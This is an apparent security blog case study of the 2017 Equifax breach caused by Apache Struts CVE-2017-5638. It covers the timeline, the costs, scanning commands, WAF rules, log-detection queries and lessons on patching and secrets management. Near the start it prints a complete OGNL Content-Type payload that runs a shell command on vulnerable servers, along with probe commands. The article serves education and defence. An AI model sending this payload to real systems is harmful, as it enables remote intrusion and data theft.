The Equifax Breach: How One Unpatched Vulnerability Exposed 147 Million Americans

The 2017 Equifax breach exposed the personal data of 147 million Americans — Social Security numbers, birth dates, addresses, and credit card numbers. It remains one of the largest breaches of financial data in history. Incredibly, it was caused by a known, patched vulnerability that Equifax simply failed to apply for two months. This case study explains exactly what happened and why.

The Vulnerability: Apache Struts CVE-2017-5638

Apache Struts is an open-source web framework used by thousands of organizations, including Equifax, for building Java web applications. In March 2017, a critical Remote Code Execution (RCE) vulnerability was disclosed: CVE-2017-5638, CVSS score 10.0 — the maximum possible severity.

The flaw existed in the Jakarta Multipart parser. An attacker could send a specially crafted HTTP request with a malicious Content-Type header, and Struts would execute arbitrary commands on the server as the web server user. No authentication required. No user interaction required. One HTTP request.

# CVE-2017-5638 Proof of Concept (for educational purposes only)
# The malicious Content-Type header that triggers code execution:
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#ros)}

# Detection with Nmap script
nmap -p 80,443 --script http-vuln-cve2017-5638 target.com

# Verify if a Struts app is vulnerable (safe check)
curl -H "Content-Type: %{#context['xwork.MethodAccessor.denyMethodExecution']=false}" http://target.com/struts-app/ -I

The Exact Timeline of the Equifax Breach

March 7, 2017 — Apache Releases Patch

Apache Struts releases version 2.3.32 fixing CVE-2017-5638 and issues an urgent security advisory. The US-CERT also issues an alert. Every major security news outlet covers it. Equifax’s security team receives the advisory.

March 9, 2017 — Equifax Fails Internal Patch Scan

Equifax sends out an internal notification requiring IT teams to patch all vulnerable Struts applications within 48 hours. The scan designed to find vulnerable systems fails to detect an internet-facing Equifax application called the Online Dispute Portal — due to a misconfigured SSL inspection certificate that had been expired for 19 months. The tool couldn’t inspect encrypted traffic to find the vulnerability. The vulnerability goes unpatched.

May 13, 2017 — Attackers Exploit the Vulnerability

Unknown attackers (later attributed to Chinese intelligence officers by the DOJ) begin exploiting CVE-2017-5638 against Equifax’s Online Dispute Portal. They gain remote code execution on the web server and begin internal reconnaissance.

May 13 – July 30, 2017 — 76 Days of Active Intrusion

Over 76 days, the attackers:

  • Issued over 9,000 queries to Equifax’s databases
  • Discovered that database credentials were stored in plaintext configuration files on the web server
  • Used those credentials to access 48 different credit reporting databases
  • Exfiltrated data in small encrypted chunks disguised as normal HTTPS traffic
  • Rotated through 34 servers across 20 countries to obscure their tracks

Why did it take 76 days to detect? The TLS inspection tool that was supposed to monitor outbound encrypted traffic had been broken for 19 months — the same expired certificate that caused the vulnerability scan to miss the Struts flaw also prevented the detection tool from seeing the data exfiltration.

July 29, 2017 — Equifax Discovers the Breach

After renewing the expired TLS inspection certificate, Equifax’s security team begins seeing suspicious encrypted traffic. They investigate and confirm the breach on July 29. The attackers had already exfiltrated 147.9 million records.

September 7, 2017 — Public Disclosure

Equifax publicly discloses the breach — 40 days after discovering it. During those 40 days, three Equifax executives sold approximately $1.8 million in company stock before the announcement (they were later investigated by the SEC).

The Cost

  • $700 million settlement with FTC, CFPB, and 50 state attorneys general
  • $1.38 billion in total breach-related costs
  • Equifax CEO Richard Smith resigned
  • Congressional hearings and federal legislation
  • 147.9 million Americans affected — roughly half the US adult population

Detection and Prevention Commands

Finding Vulnerable Struts in Your Environment

# Find Struts JARs in your file system
find / -name "struts2-core-*.jar" 2>/dev/null
find / -name "struts-*.jar" 2>/dev/null

# Check version in JAR manifest
unzip -p struts2-core-2.3.31.jar META-INF/MANIFEST.MF

# Use OWASP Dependency Check to find vulnerable libraries
# https://jeremylong.github.io/DependencyCheck/
dependency-check.sh --project MyApp --scan /path/to/app --out ./reports/

# Scan with Trivy (container/filesystem vulnerability scanner)
trivy fs /path/to/application/
trivy image my-java-app:latest

# Check SBOM for vulnerable dependencies
syft packages dir:/opt/app -o cyclonedx-json > sbom.json
grype sbom:sbom.json

WAF Rules to Block CVE-2017-5638

# ModSecurity WAF rule to block Struts exploit
SecRule REQUEST_HEADERS:Content-Type "@rx ognl|redirect:|action:"   "id:1234567,phase:1,deny,status:400,msg:'Apache Struts exploit attempt'"

# Nginx WAF (ModSecurity module)
location / {
    modsecurity on;
    modsecurity_rules '
        SecRule REQUEST_HEADERS:Content-Type "@contains ognl" "deny,status:400,id:1001"
        SecRule REQUEST_HEADERS:Content-Type "@contains redirect:" "deny,status:400,id:1002"
    ';
}

# Cloudflare WAF Managed Rule: Apache Struts (enabled by default)

Detecting Exploitation Attempts in Logs

# Apache/Nginx access log analysis
grep -i "Content-Type.*ognl|multipart.*ognl|redirect:" /var/log/apache2/access.log

# Splunk query
index=web_logs
| search Content-Type="*ognl*" OR Content-Type="*redirect:*"
| stats count by src_ip, uri_path
| where count > 1
| sort -count

# Elastic KQL
url.path: * AND http.request.headers.content-type: *ognl*

Vulnerability Management Lessons from Equifax

Lesson 1: Validate your scanner coverage. Equifax’s scanner couldn’t see the vulnerable application because of a broken TLS certificate. Always verify that your vulnerability scanner actually has visibility into all internet-facing systems — test by deploying a known-vulnerable system and confirming it gets detected.

Lesson 2: Fix your monitoring tools first. The 19-month expired certificate broke both the vulnerability scanner AND the traffic monitoring. Monitoring tool uptime should be tracked as critically as production uptime.

Lesson 3: Severity 10.0 = patch in 24 hours, not 48. A CVSS 10.0 RCE on an internet-facing application is a fire-drill. Equifax gave teams 48 hours; the answer is: patch now, then document why you didn’t patch earlier if needed.

Lesson 4: Database credentials should never be in config files. The attackers found DB credentials in plaintext on the compromised web server. Use secrets management (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault) to store database credentials, API keys, and passwords — never in config files or code.

# Store secrets with HashiCorp Vault
vault kv put secret/myapp/db username="app_user" password="$(openssl rand -base64 32)"
vault kv get secret/myapp/db

# Retrieve in application (no plaintext credentials)
export DB_PASSWORD=$(vault kv get -field=password secret/myapp/db)

# AWS Secrets Manager
aws secretsmanager create-secret --name prod/myapp/db --secret-string '{"username":"app_user","password":"RandomPassword123!"}'
aws secretsmanager get-secret-value --secret-id prod/myapp/db --query SecretString

Lesson 5: Segment databases from web servers. The web application server should not have direct access to 48 different databases. Each application should access only the specific database tables it needs, with a read-only service account where possible. Breaching the web tier should not immediately grant access to the entire data estate.

The Equifax breach was not a sophisticated attack. It was a known, patched vulnerability exploited because of process failures, tool failures, and organizational failures. It is the textbook example of why vulnerability management, certificate management, and defense in depth are not optional.